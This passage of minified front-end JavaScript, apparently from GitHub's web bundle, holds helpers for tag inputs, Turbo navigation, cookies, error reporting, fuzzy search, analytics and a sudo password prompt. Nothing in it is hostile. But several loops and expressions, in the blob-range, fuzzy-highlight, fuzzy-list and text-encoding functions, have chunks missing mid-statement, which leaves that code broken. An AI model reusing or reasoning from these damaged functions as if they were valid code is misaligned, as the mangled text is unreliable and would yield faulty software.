input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target instanceof HTMLElement))return;const g=u.target.closest("[data-turbo-frame]");g instanceof HTMLElement&&u.target.setAttribute("data-turbo-frame",g.getAttribute("data-turbo-frame")||""),u instanceof CustomEvent&&x(location.href,u.detail.url)&&u.preventDefault()}),document.addEventListener("turbo:before-render",u=>{if(!(u instanceof CustomEvent))return;const g=u.detail.newBody.ownerDocument.documentElement,h=document.documentElement;for(const d of h.attributes)!g.hasAttribute(d.nodeName)&&d.nodeName!=="aria-busy"&&h.removeAttribute(d.nodeName);for(const d of g.attributes)h.getAttribute(d.nodeName)!==d.nodeValue&&h.setAttribute(d.nodeName,d.nodeValue)}),document.addEventListener("turbo:visit",T.LD),document.addEventListener("turbo:render",T.FP),document.addEventListener("beforeunload",T.FP),document.addEventListener("turbo:load",u=>{Object.keys(u.detail.timing).length===0?(0,T.OE)()||(0,T.Po)()?(0,T.Ys)():(0,T.F6)():(0,T.Xk)()}),document.addEventListener("turbo:before-visit",function(u){var g;const h=(g=window.onbeforeunload)==null?void 0:g.call(window,u);h&&(confirm(h)?window.onbeforeunload=null:u.preventDefault())}),document.addEventListener("turbo:reload",function(u){u instanceof CustomEvent&&(0,T.Ak)(u.detail.reason)}),document.addEventListener(T.QE.SUCCESS,()=>{if(location.hash==="")return;const u=document.createElement("a");u.href=`#${location.hash.slice(1)}`,u.click()})}const _=s(x=>(x==null?void 0:x.tagName)==="TURBO-FRAME","isTurboFrame")},95128:()=>{function $(){const f=document.createElement("div");return f.style.cssText="-ms-user-select: element; user-select: contain;",f.style.getPropertyValue("-ms-user-select")==="element"||f.style.getPropertyValue("-ms-user-select")==="contain"||f.style.getPropertyValue("user-select")==="contain"}s($,"supportsUserSelectContain");function D(f){if(!(f.target instanceof Element))return;const T=f.target.closest(".user-select-contain");if(!T)return;const c=window.getSelection();if(!c||!c.rangeCount||!c.rangeCount||c.type!=="Range")return;const C=c.getRangeAt(0).commonAncestorContainer;T.contains(C)||c.selectAllChildren(T)}s(D,"handleUserSelectContain"),$()||document.addEventListener("click",D)},29790:($,D,f)=>{"use strict";f.d(D,{Dw:()=>x,G5:()=>T,M9:()=>g,n6:()=>_});function T(b){const v=b.match(/#?(?:L)(\d+)((?:C)(\d+))?/g);if(v)if(v.length===1){const L=u(v[0]);return L?Object.freeze({start:L,end:L}):void 0}else if(v.length===2){const L=u(v[0]),q=u(v[1]);return!L||!q?void 0:m(Object.freeze({start:L,end:q}))}else return;else return}s(T,"parseBlobRange");function c(b){const{start:v,end:L}=m(b);return v.column!=null&&L.column!=null?`L${v.line}C${v.column}-L${L.line}C${L.column}`:v.line===L.line?`L${v.line}`:`L${v.line}-L${L.line}`}s(c,"formatBlobRange");function C(b){const v=b.match(/(file-.+?-)L\d+?/i);return v?v[1]:""}s(C,"parseAnchorPrefix");function _(b){const v=T(b),L=C(b);return{blobRange:v,anchorPrefix:L}}s(_,"parseFileAnchor");function x({anchorPrefix:b,blobRange:v}){return v?`#${b}${c(v)}`:"#"}s(x,"formatBlobRangeAnchor");function u(b){const v=b.match(/L(\d+)/),L=b.match(/C(\d+)/);return v?Object.freeze({line:parseInt(v[1]),column:L?parseInt(L[1]):null}):null}s(u,"parseBlobOffset");function g(b,v){const[L,q]=h(b.start,!0,v),[E,A]=h(b.end,!1,v);if(!L||!E)return;let k=q,j=A;if(k===-1&&(k=0),j===-1&&(j=E.childNodes.length),!L.ownerDocument)throw new Error("DOMRange needs to be inside document");const P=L.ownerDocument.createRange();return P.setStart(L,k),P.setEnd(E,j),P}s(g,"DOMRangeFromBlob");function h(b,v,L){const q=[null,0],E=L(b.line);if(!E)return q;if(b.column==null)return[E,-1];let A=b.column-1;const k=d(E);for(let j=0;j{"use strict";f.d(D,{P:()=>C,g:()=>_});var T=f(59753);const c=new WeakMap;function C(g){return c.get(g)}s(C,"getCodeEditor");async function _(g){return c.get(g)||x(await u(g,"codeEditor:ready"))}s(_,"getAsyncCodeEditor");function x(g){if(!(g instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=g.detail.editor;if(!g.target)throw new Error("assert: event.target is null");return c.set(g.target,h),h}s(x,"onEditorFromEvent"),(0,T.on)("codeEditor:ready",".js-code-editor",x);function u(g,h){return new Promise(d=>{g.addEventListener(h,d,{once:!0})})}s(u,"nextEvent")},64926:($,D,f)=>{"use strict";f.d(D,{$1:()=>c,d8:()=>_,ej:()=>T,kT:()=>x});function T(u){return c(u)[0]}s(T,"getCookie");function c(u){const g=[];for(const h of C()){const[d,m]=h.trim().split("=");u===d&&typeof m!="undefined"&&g.push({key:d,value:m})}return g}s(c,"getCookies");function C(){try{return document.cookie.split(";")}catch{return[]}}s(C,"readCookies");function _(u,g,h=null,d=!1,m="lax"){let p=document.domain;if(p==null)throw new Error("Unable to get document domain");p.endsWith(".github.com")&&(p="github.com");const b=location.protocol==="https:"?"; secure":"",v=h?`; expires=${h}`:"";d===!1&&(p=`.${p}`);try{document.cookie=`${u}=${g}; path=/; domain=${p}${v}${b}; samesite=${m}`}catch{}}s(_,"setCookie");function x(u,g=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const d=new Date().getTime(),m=new Date(d-1).toUTCString(),p=location.protocol==="https:"?"; secure":"",b=`; expires=${m}`;g===!1&&(h=`.${h}`);try{document.cookie=`${u}=''; path=/; domain=${h}${b}${p}`}catch{}}s(x,"deleteCookie")},75371:($,D,f)=>{"use strict";f.d(D,{VZ:()=>c,_C:()=>C,cv:()=>T,oE:()=>_});function T(g){const h=g.getBoundingClientRect();return{top:h.top+window.pageYOffset,left:h.left+window.pageXOffset}}s(T,"offset");function c(g){let h=g;const d=h.ownerDocument;if(!d||!h.offsetParent)return;const m=d.defaultView.HTMLElement;if(h!==d.body){for(;h!==d.body;){if(h.parentElement instanceof m)h=h.parentElement;else return;const{position:p,overflowY:b,overflowX:v}=getComputedStyle(h);if(p==="fixed"||b==="auto"||v==="auto"||b==="scroll"||v==="scroll")break}return h instanceof Document?null:h}}s(c,"overflowParent");function C(g,h){let d=h;const m=g.ownerDocument;if(!m)return;const p=m.documentElement;if(!p||g===p)return;const b=_(g,d);if(!b)return;d=b._container;const v=d===m.documentElement&&m.defaultView?{top:m.defaultView.pageYOffset,left:m.defaultView.pageXOffset}:{top:d.scrollTop,left:d.scrollLeft},L=b.top-v.top,q=b.left-v.left,E=d.clientHeight,A=d.clientWidth,k=E-(L+g.offsetHeight),j=A-(q+g.offsetWidth);return{top:L,left:q,bottom:k,right:j,height:E,width:A}}s(C,"overflowOffset");function _(g,h){let d=g;const m=d.ownerDocument;if(!m)return;const p=m.documentElement;if(!p)return;const b=m.defaultView.HTMLElement;let v=0,L=0;const q=d.offsetHeight,E=d.offsetWidth;for(;!(d===m.body||d===h);)if(v+=d.offsetTop||0,L+=d.offsetLeft||0,d.offsetParent instanceof b)d=d.offsetParent;else return;let A,k,j;if(!h||h===m||h===m.defaultView||h===m.documentElement||h===m.body)j=p,A=x(m.body,p),k=u(m.body,p);else if(h instanceof b)j=h,A=h.scrollHeight,k=h.scrollWidth;else return;const P=A-(v+q),M=k-(L+E);return{top:v,left:L,bottom:P,right:M,_container:j}}s(_,"positionedOffset");function x(g,h){return Math.max(g.scrollHeight,h.scrollHeight,g.offsetHeight,h.offsetHeight,h.clientHeight)}s(x,"getDocumentHeight");function u(g,h){return Math.max(g.scrollWidth,h.scrollWidth,g.offsetWidth,h.offsetWidth,h.clientWidth)}s(u,"getDocumentWidth")},73185:($,D,f)=>{"use strict";f.d(D,{Dc:()=>_,bP:()=>g,g:()=>u,gJ:()=>T,rs:()=>c});function T(){return Promise.resolve()}s(T,"microtask");function c(){return new Promise(window.requestAnimationFrame)}s(c,"animationFrame");async function C(h,d){let m;const p=new Promise((b,v)=>{m=self.setTimeout(()=>v(new Error("timeout")),h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(C,"timeout");async function _(h,d){let m;const p=new Promise(b=>{m=self.setTimeout(b,h)});if(!d)return p;try{await Promise.race([p,x(d)])}catch(b){throw self.clearTimeout(m),b}}s(_,"wait");function x(h){return new Promise((d,m)=>{const p=new Error("aborted");p.name="AbortError",h.aborted?m(p):h.addEventListener("abort",()=>m(p))})}s(x,"whenAborted");function u(h){const d=[];return function(m){d.push(m),d.length===1&&queueMicrotask(()=>{const p=[...d];d.length=0,h(p)})}}s(u,"taskQueue");async function g(h){requestAnimationFrame(()=>{setTimeout(h)})}s(g,"afterNextPaint")},92003:($,D,f)=>{"use strict";f.d(D,{aJ:()=>k,cI:()=>q,eK:()=>p});var T=f(29946),c=f(97474),C=f(82918),_=f(50232),x=f(28382),u=f(47930),g=f(49815);let h=!1,d=0;const m=Date.now();function p(M,O={}){M&&M.name!=="AbortError"&&b(L(v(M),O))}s(p,"reportError");async function b(M){var O,V;if(!P())return;const H=(V=(O=document.head)==null?void 0:O.querySelector('meta[name="browser-errors-url"]'))==null?void 0:V.content;if(!!H){if(A(M.error.stacktrace)){h=!0;return}d++;try{await fetch(H,{method:"post",body:JSON.stringify(M)})}catch{}}}s(b,"report");function v(M){return{type:M.name,value:M.message,stacktrace:q(M)}}s(v,"formatError");function L(M,O={}){return Object.assign({error:M,sanitizedUrl:(0,u.S)()||window.location.href,readyState:document.readyState,referrer:(0,T.wP)(),timeSinceLoad:Math.round(Date.now()-m),user:k()||void 0,turbo:(0,g.c)("TURBO")},O)}s(L,"errorContext");function q(M){return(0,x.Q)(M.stack||"").map(O=>({filename:O.file||"",function:String(O.methodName),lineno:(O.lineNumber||0).toString(),colno:(O.column||0).toString()}))}s(q,"stacktrace");const E=/(chrome|moz|safari)-extension:\/\//;function A(M){return M.some(O=>E.test(O.filename)||E.test(O.function))}s(A,"isExtensionError");function k(){var M,O;const V=(O=(M=document.head)==null?void 0:M.querySelector('meta[name="user-login"]'))==null?void 0:O.content;return V||`anonymous-${(0,C.b)()}`}s(k,"pageUser");let j=!1;window.addEventListener("pageshow",()=>j=!1),window.addEventListener("pagehide",()=>j=!0),document.addEventListener(T.QE.ERROR,M=>{b(L({type:"SoftNavError",value:M.detail,stacktrace:q(new Error)}))});function P(){return!j&&!h&&d<10&&(0,_.Gb)()&&!(0,c.Z)(document)}s(P,"reportable"),typeof BroadcastChannel=="function"&&new BroadcastChannel("shared-worker-error").addEventListener("message",O=>{p(O.data.error)})},98670:($,D,f)=>{"use strict";f.d(D,{W:()=>c});function*T(C,_){for(const x of C){const u=_(x);u!=null&&(yield u)}}s(T,"filterMap");function c(C,_,x){return[...T(C,s(g=>{const h=_(g);return h!=null?[g,h]:null},"sortKey"))].sort((g,h)=>x(g[1],h[1])).map(([g])=>g)}s(c,"filterSort")},8089:($,D,f)=>{"use strict";f.d(D,{EW:()=>T,Qw:()=>C,qu:()=>x});function T(u,g){let h=_(u,g);if(h&&g.indexOf("/")===-1){const d=u.substring(u.lastIndexOf("/")+1);h+=_(d,g)}return h}s(T,"fuzzyScore");function c(u){const g=u.toLowerCase().split("");let h="";for(let d=0;d"),m=!0):m&&(p.push(""),m=!1),p.push(v))}u.innerHTML=p.join("")}else{const d=u.innerHTML.trim(),m=d.replace(/<\/?mark>/g,"");d!==m&&(u.innerHTML=m)}}s(C,"fuzzyHighlightElement");function _(u,g){let h=u;if(h===g)return 1;const d=h.length;let m=0,p=0;for(let q=0;q-1?j:Math.max(A,k);if(P===-1)return 0;m+=.1,h[P]===E&&(m+=.1),P===0&&(m+=.8,q===0&&(p=1)),h.charAt(P-1)===" "&&(m+=.8),h=h.substring(P+1,d)}const b=g.length,v=m/b;let L=(v*(b/d)+v)/2;return p&&L+.1<1&&(L+=.1),L}s(_,"stringScore");function x(u,g){return u.score>g.score?-1:u.scoreg.text?1:0}s(x,"compare")},99254:($,D,f)=>{"use strict";f.d(D,{Z:()=>d});var T=f(47142);const c=s((m,p,b)=>{if(!(0,T.CD)(m,p))return-1/0;const v=(0,T.Gs)(m,p);return v{m.innerHTML="";let v=0;for(const L of(0,T.m7)(p,b)){b.slice(v,L)!==""&&m.appendChild(document.createTextNode(b.slice(v,L))),v=L+1;const E=document.createElement("mark");E.textContent=b[L],m.appendChild(E)}m.appendChild(document.createTextNode(b.slice(v)))},"highlightElement"),_=new WeakMap,x=new WeakMap,u=new WeakMap,g=s(m=>{if(!u.has(m)&&m instanceof HTMLElement){const p=(m.getAttribute("data-value")||m.textContent||"").trim();return u.set(m,p),p}return u.get(m)||""},"getTextCache");class h extends HTMLElement{connectedCallback(){const p=this.querySelector("ul");if(!p)return;const b=new Set(p.querySelectorAll("li")),v=this.querySelector("input");v instanceof HTMLInputElement&&v.addEventListener("input",()=>{this.value=v.value});const L=new MutationObserver(E=>{let A=!1;for(const k of E)if(k.type==="childList"&&k.addedNodes.length){for(const j of k.addedNodes)if(j instanceof HTMLLIElement&&!b.has(j)){const P=g(j);A=A||(0,T.CD)(this.value,P),b.add(j)}}A&&this.sort()});L.observe(p,{childList:!0});const q={handler:L,items:b,lazyItems:new Map,timer:null};x.set(this,q)}disconnectedCallback(){const p=x.get(this);p&&(p.handler.disconnect(),x.delete(this))}addLazyItems(p,b){const v=x.get(this);if(!v)return;const{lazyItems:L}=v,{value:q}=this;let E=!1;for(const A of p)L.set(A,b),E=E||Boolean(q)&&(0,T.CD)(q,A);E&&this.sort()}sort(){const p=_.get(this);p&&(p.aborted=!0);const b={aborted:!1};_.set(this,b);const{minScore:v,markSelector:L,maxMatches:q,value:E}=this,A=x.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:E})))return;const{items:k,lazyItems:j}=A,P=this.hasAttribute("mark-selector"),M=this.querySelector("ul");if(!M)return;const O=[];if(E){for(const V of k){const H=g(V),N=c(E,H,v);N!==-1/0&&O.push({item:V,score:N})}for(const[V,H]of j){const N=c(E,V,v);N!==-1/0&&O.push({text:V,render:H,score:N})}O.sort((V,H)=>H.score-V.score).splice(q)}else{let V=O.length;for(const H of k){if(V>=q)break;O.push({item:H,score:1}),V+=1}for(const[H,N]of j){if(V>=q)break;O.push({text:H,render:N,score:1}),V+=1}}requestAnimationFrame(()=>{if(b.aborted)return;const V=M.querySelector('input[type="radio"]:checked');M.innerHTML="";let H=0;const N=s(()=>{if(b.aborted)return;const K=Math.min(O.length,H+100),W=document.createDocumentFragment();for(let te=H;te0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:O.length}))}},"nextBatch");N()})}get value(){return this.getAttribute("value")||""}set value(p){this.setAttribute("value",p)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(p){p?this.setAttribute("mark-selector",p):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(p){Number.isNaN(p)||this.setAttribute("min-score",String(p))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(p){Number.isNaN(p)||this.setAttribute("max-matches",String(p))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(p,b,v){if(b===v)return;const L=x.get(this);!L||(L.timer&&window.clearTimeout(L.timer),L.timer=window.setTimeout(()=>this.sort(),100))}}s(h,"FuzzyListElement");const d=h;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=h,window.customElements.define("fuzzy-list",h))},30481:($,D,f)=>{"use strict";f.d(D,{Y:()=>g,q:()=>h});var T=f(88149),c=f(86058);const C="dimension_";let _;const x=["utm_source","utm_medium","utm_campaign","utm_term","utm_content","scid"];try{const d=(0,T.n)("octolytics");delete d.baseContext,_=new c.R(d)}catch{}function u(d){const m=(0,T.n)("octolytics").baseContext||{};if(m){delete m.app_id,delete m.event_url,delete m.host;for(const v in m)v.startsWith(C)&&(m[v.replace(C,"")]=m[v],delete m[v])}const p=document.querySelector("meta[name=visitor-payload]");if(p){const v=JSON.parse(atob(p.content));Object.assign(m,v)}const b=new URLSearchParams(window.location.search);for(const[v,L]of b)x.includes(v.toLowerCase())&&(m[v]=L);return Object.assign(m,d)}s(u,"extendBaseContext");function g(d){_==null||_.sendPageView(u(d))}s(g,"sendPageView");function h(d,m){var p,b;const v=(b=(p=document.head)==null?void 0:p.querySelector('meta[name="current-catalog-service"]'))==null?void 0:b.content,L=v?{service:v}:{};for(const[q,E]of Object.entries(m))E!=null&&(L[q]=`${E}`);_==null||_.sendEvent(d||"unknown",u(L))}s(h,"sendEvent")},53692:($,D,f)=>{"use strict";f.d(D,{$S:()=>c,Fk:()=>C,sz:()=>_});var T=f(45922);function c(x,u,g){const h={hydroEventPayload:x,hydroEventHmac:u,visitorPayload:"",visitorHmac:"",hydroClientContext:g},d=document.querySelector("meta[name=visitor-payload]");d instanceof HTMLMetaElement&&(h.visitorPayload=d.content);const m=document.querySelector("meta[name=visitor-hmac]")||"";m instanceof HTMLMetaElement&&(h.visitorHmac=m.content),(0,T.b)(h,!0)}s(c,"sendData");function C(x){const u=x.getAttribute("data-hydro-view")||"",g=x.getAttribute("data-hydro-view-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(C,"trackView");function _(x){const u=x.getAttribute("data-hydro-click-payload")||"",g=x.getAttribute("data-hydro-click-hmac")||"",h=x.getAttribute("data-hydro-client-context")||"";c(u,g,h)}s(_,"sendHydroEvent")},51244:($,D,f)=>{"use strict";f.d(D,{vt:()=>A,WF:()=>E,DV:()=>q,jW:()=>M,Nc:()=>p,$t:()=>C});const T={frequency:.6,recency:.4};function c(H,N){return H.sort((K,W)=>N(K)-N(W))}s(c,"sortBy");function C(H){const N=x(H),K=u(H);return function(W){return _(N.get(W)||0,K.get(W)||0)}}s(C,"scorer");function _(H,N){return H*T.frequency+N*T.recency}s(_,"score");function x(H){const N=[...Object.values(H)].reduce((K,W)=>K+W.visitCount,0);return new Map(Object.keys(H).map(K=>[K,H[K].visitCount/N]))}s(x,"frequencyMap");function u(H){const N=c([...Object.keys(H)],W=>H[W].lastVisitedAt),K=N.length;return new Map(N.map((W,U)=>[W,(U+1)/K]))}s(u,"recencyMap");const g=/^\/orgs\/([a-z0-9-]+)\/teams\/([\w-]+)/,h=[/^\/([^/]+)\/([^/]+)\/?$/,/^\/([^/]+)\/([^/]+)\/blob/,/^\/([^/]+)\/([^/]+)\/tree/,/^\/([^/]+)\/([^/]+)\/issues/,/^\/([^/]+)\/([^/]+)\/pulls?/,/^\/([^/]+)\/([^/]+)\/pulse/],d=[["organization",/^\/orgs\/([a-z0-9-]+)\/projects\/([0-9-]+)/],["repository",/^\/([^/]+)\/([^/]+)\/projects\/([0-9-]+)/]],m=100;function p(H){const N=H.match(g);if(N){v(q(N[1],N[2]));return}let K;for(let U=0,te=d.length;UK(te)-K(U)).slice(0,m/2);return Object.fromEntries(W.map(U=>[U,H[U]]))}s(b,"limitedPageViews");function v(H){const N=M(),K=L(),W=N[H]||{lastVisitedAt:K,visitCount:0};W.visitCount+=1,W.lastVisitedAt=K,N[H]=W,P(b(N))}s(v,"logPageViewByKey");function L(){return Math.floor(Date.now()/1e3)}s(L,"currentEpochTimeInSeconds");function q(H,N){return`team:${H}/${N}`}s(q,"buildTeamKey");function E(H,N){return`repository:${H}/${N}`}s(E,"buildRepositoryKey");function A(H,N){return`project:${H}/${N}`}s(A,"buildProjectKey");const k=/^(team|repository|project):[^/]+\/[^/]+(\/([^/]+))?$/,j="jump_to:page_views";function P(H){O(j,JSON.stringify(H))}s(P,"setPageViewsMap");function M(){const H=V(j);if(!H)return{};let N;try{N=JSON.parse(H)}catch{return P({}),{}}const K={};for(const W in N)W.match(k)&&(K[W]=N[W]);return K}s(M,"getPageViewsMap");function O(H,N){try{window.localStorage.setItem(H,N)}catch{}}s(O,"setItem");function V(H){try{return window.localStorage.getItem(H)}catch{return null}}s(V,"getItem")},11190:($,D,f)=>{"use strict";f.d(D,{I:()=>x,n:()=>_});var T=f(24216);const c=["notification_referrer_id","notifications_before","notifications_after","notifications_query"],C="notification_shelf";function _(d,m=null){return d.has("notification_referrer_id")?(u(d,m),g(d)):null}s(_,"storeAndStripShelfParams");function x(d=null){const m=h(d);if(!m)return(0,T.cl)(C),null;try{const p=(0,T.rV)(C);if(!p)return null;const b=JSON.parse(p);if(!b||!b.pathname)throw new Error("Must have a pathname");if(b.pathname!==m)throw new Error("Stored pathname does not match current pathname.");const v={};for(const L of c)v[L]=b[L];return v}catch{return(0,T.cl)(C),null}}s(x,"getStoredShelfParamsForCurrentPage");function u(d,m){const p=h(m);if(!p)return;const b={pathname:p};for(const v of c){const L=d.get(v);L&&(b[v]=L)}(0,T.LS)(C,JSON.stringify(b))}s(u,"storeShelfParams");function g(d){for(const m of c)d.delete(m);return d}s(g,"deleteShelfParams");function h(d){d=d||window.location.pathname;const m=/^(\/[^/]+\/[^/]+\/pull\/[^/]+)/,p=d.match(m);return p?p[0]:null}s(h,"getCurrentPullRequestPathname")},32904:($,D,f)=>{"use strict";f.d(D,{a:()=>T});function T(x,u){const g=x.closest("[data-notification-id]");u.hasAttribute("data-status")&&c(g,u.getAttribute("data-status")),u.hasAttribute("data-subscription-status")&&C(g,u.getAttribute("data-subscription-status")),u.hasAttribute("data-starred-status")&&_(g,u.getAttribute("data-starred-status"))}s(T,"updateNotificationStates");function c(x,u){x.classList.toggle("notification-archived",u==="archived"),x.classList.toggle("notification-unread",u==="unread"),x.classList.toggle("notification-read",u==="read")}s(c,"toggleNotificationStatus");function C(x,u){x.classList.toggle("notification-unsubscribed",u==="unsubscribed")}s(C,"toggleNotificationSubscriptionStatus");function _(x,u){x.classList.toggle("notification-starred",u==="starred")}s(_,"toggleNotificationStarredStatus")},19218:($,D,f)=>{"use strict";f.d(D,{v:()=>T});function T(c,C){C.appendChild(c.extractContents()),c.insertNode(C)}s(T,"surroundContents")},25331:($,D,f)=>{"use strict";f.d(D,{e:()=>T});function T(c){const C=c||window.location,_=document.head&&document.head.querySelector("meta[name=session-resume-id]");return _ instanceof HTMLMetaElement&&_.content||C.pathname}s(T,"getPageID")},82841:($,D,f)=>{"use strict";f.d(D,{Z:()=>m});var T=f(12737),c=f(29719),C=f(65935),_=f(5642);let x=!1;function u(p){const b=new URL(p,window.location.origin),v=new URLSearchParams(b.search.slice(1));return v.set("webauthn-support",(0,_.T)()),b.search=v.toString(),b.toString()}s(u,"urlWithParams");async function g(){const p=document.querySelector("link[rel=sudo-modal]"),b=document.querySelector(".js-sudo-prompt");if(b instanceof HTMLTemplateElement)return b;if(p){const v=await(0,c.a)(document,u(p.href));return document.body.appendChild(v),document.querySelector(".js-sudo-prompt")}else throw new Error("couldn't load sudo prompt")}s(g,"loadPromptTemplate");let h=!1;async function d(){if(x)return!1;x=!0,h=!1;const b=(await g()).content.cloneNode(!0),v=await(0,T.W)({content:b});return await new Promise(L=>{v.addEventListener("dialog:remove",function(){x=!1,L()},{once:!0})}),h}s(d,"sudoPrompt"),(0,C.AC)(".js-sudo-form",async function(p,b){try{await b.text()}catch(v){if(!v.response)throw v;let L;switch(v.response.status){case 401:L="Incorrect password.";break;case 429:L="Too many password attempts. Please wait and try again later.";break;default:L="Failed to receive a response. Please try again later."}p.querySelector(".js-sudo-error").textContent=L,p.querySelector(".js-sudo-error").hidden=!1,p.querySelector(".js-sudo-password").value="";return}h=!0,p.closest("details").removeAttribute("open")});async function m(){const p=await fetch("/sessions/in_sudo",{headers:{accept:"application/json","X-Requested-With":"XMLHttpRequest"}});return p.ok&&await p.text()==="true"?!0:d()}s(m,"triggerSudoPrompt")},40764:($,D,f)=>{"use strict";f.d(D,{Om:()=>_,lp:()=>c,rq:()=>T,t4:()=>C,yb:()=>u});function T(g){const h="\u200D",d=g.split(h);let m=0;for(const p of d)m+=Array.from(p.split(/[\ufe00-\ufe0f]/).join("")).length;return m/d.length}s(T,"getUtf8StringLength");function c(g,h,d){let m=g.value.substring(0,g.selectionEnd||0),p=g.value.substring(g.selectionEnd||0);return m=m.replace(h,d),p=p.replace(h,d),x(g,m+p,m.length),d}s(c,"replaceText");function C(g,h,d){if(g.selectionStart===null||g.selectionEnd===null)return c(g,h,d);const m=g.value.substring(0,g.selectionStart),p=g.value.substring(g.selectionEnd);return x(g,m+d+p,m.length),d}s(C,"replaceSelection");function _(g,h,d={}){const m=g.selectionEnd||0,p=g.value.substring(0,m),b=g.value.substring(m),v=g.value===""||p.match(/\n$/)?"":` +`,L=d.appendNewline?` +`:"",q=v+h+L;g.value=p+q+b;const E=m+q.length;return g.selectionStart=E,g.selectionEnd=E,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1})),g.focus(),q}s(_,"insertText");function x(g,h,d){g.value=h,g.selectionStart=d,g.selectionEnd=d,g.dispatchEvent(new CustomEvent("change",{bubbles:!0,cancelable:!1}))}s(x,"setTextareaValueAndCursor");function u(g,h){const d=[...g],m=new TextEncoder,p=new Uint8Array(4);for(let b=0;b=h))break}return h}s(u,"GetCharIndexFromBytePosition")},66899:($,D,f)=>{"use strict";f.d(D,{dY:()=>h,iU:()=>g,oq:()=>u});const T=new WeakMap;function c(d){const m=T.get(d);!m||(m.timer!=null&&clearTimeout(m.timer),m.timer=window.setTimeout(()=>{m.timer!=null&&(m.timer=null),m.inputed=!1,m.listener.call(null,d)},m.wait))}s(c,"schedule");function C(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!0,p.timer!=null&&clearTimeout(p.timer))}s(C,"onKeydownInput");function _(d){const m=d.currentTarget,p=T.get(m);!p||(p.keypressed=!1,p.inputed&&c(m))}s(_,"onKeyupInput");function x(d){const m=d.currentTarget,p=T.get(m);!p||(p.inputed=!0,p.keypressed||c(m))}s(x,"onInputInput");function u(d,m,p={wait:null}){T.set(d,{keypressed:!1,inputed:!1,timer:void 0,listener:m,wait:p.wait!=null?p.wait:100}),d.addEventListener("keydown",C),d.addEventListener("keyup",_),d.addEventListener("input",x)}s(u,"addThrottledInputEventListener");function g(d,m){d.removeEventListener("keydown",C),d.removeEventListener("keyup",_),d.removeEventListener("input",x);const p=T.get(d);p&&(p.timer!=null&&p.listener===m&&clearTimeout(p.timer),T.delete(d))}s(g,"removeThrottledInputEventListener");function h(d){const m=T.get(d);m&&m.listener.call(null,d)}s(h,"dispatchThrottledInputEvent")},5878:($,D,f)=>{"use strict";f.d(D,{Z:()=>c});function T(C){return C.offsetWidth<=0&&C.offsetHeight<=0}s(T,"hidden");function c(C){return!T(C)}s(c,"visible")},5642:($,D,f)=>{"use strict";f.d(D,{T:()=>c,k:()=>C});var T=f(70112);function c(){return(0,T.Zh)()?"supported":"unsupported"}s(c,"webauthnSupportLevel");async function C(){var _;return await((_=window.PublicKeyCredential)==null?void 0:_.isUserVerifyingPlatformAuthenticatorAvailable())?"supported":"unsupported"}s(C,"iuvpaaSupportLevel")}},$=>{var 